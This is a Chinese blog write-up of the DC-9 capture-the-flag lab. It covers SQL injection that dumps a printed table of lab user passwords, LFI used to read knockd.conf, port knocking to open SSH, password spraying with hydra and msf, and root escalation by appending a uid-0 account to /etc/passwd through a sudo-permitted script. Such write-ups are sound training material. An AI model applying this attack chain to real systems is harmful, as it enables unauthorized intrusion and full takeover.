前言
DC系列最后一个靶机,还是延续着之前的传统,中规中矩,却不失新意。正如作者所言
all things must come to an end
所有事情最终都会来到终点,但人生还要继续,带着美好回忆迎接下一次挑战。😃
知识点
- knockd服务
- /etc/passwd文件提权
详细过程
信息搜集
-
端口扫描,22端口阻塞
-
目录扫描
-
浏览网站很容易发现search页面存在sql注入
-
sqlmap注入成功,具体不再演示,拿到数据如下。
Table: UserDetails [17 entries] +-----------+------------+---------------+ | firstname | lastname | password | +-----------+------------+---------------+ | Mary | Moe | 3kfs86sfd | | Julie | Dooley | 468sfdfsd2 | | Fred | Flintstone | 4sfd87sfd1 | | Barney | Rubble | RocksOff | | Tom | Cat | TC&TheBoyz | | Jerry | Mouse | B8m#48sd | | Wilma | Flintstone | Pebbles | | Betty | Rubble | BamBam01 | | Chandler | Bing | UrAG0D! | | Joey | Tribbiani | Passw0rd | | Rachel | Green | yN72#dsd | | Ross | Geller | ILoveRachel | | Monica | Geller | 3248dsds7s | | Phoebe | Buffay | smellycats | | Scooter | McScoots | YR3BVxxxw87 | | Donald | Trump | Ilovepeepee | | Scott | Morrison | Hawaii-Five-0 | +-----------+------------+---------------+
还有一个管理员
admin:transorbital1
(使用sqlmap默认字典爆破) -
登陆管理员后只有添加记录的功能,本来想要使用闭合dom树的方式来解析php,但输入有长度限制,放弃。登陆管理员后看到页脚爆
file not found
错误。猜测存在LFI。 -
验证LFI,很幸运
file
参数直接猜到。 -
但LFI不能getshell。接下来的思路应该是
fuzz
一些系统文件。这里如果有一个强大的字典,应该能够发现/etc/knockd.conf
这个knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序
敲击
端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的。我们可以下载knock来开启远程端口,也可以直接用nc敲击端口。 -
按顺序敲击
7469,8475,9842
,22端口开启
getshell
-
之后可以用hydra,或者msf结合
/etc/passwd
文件之前从数据库内拿到的密码撞库ssh。这里我拿到janitor
用户ssh密码。登陆后发现密码文件 -
使用msf爆破。最终一共拿到四个账户。
提权
-
下载提权辅助脚本。在
fredf
用户运行后发现可疑文件。运行后提示应该使用python写的。 -
通过find找到源码
#!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()
-
很明显了,我们通过这个程序可以以root权限合并文件内容。那么如何提权?将用户写入/etc/passwd啊,首先生成密码
$ perl -le 'print crypt("123456","salt")' sahL5d5V.UWtI $ echo "srat1999:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash" >> /tmp/passwd # 用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell $ sudo ./test /tmp/passwd /etc/passwd
-
最后
来源:CSDN
作者:adminuil
链接:https://blog.csdn.net/adminuil/article/details/104055711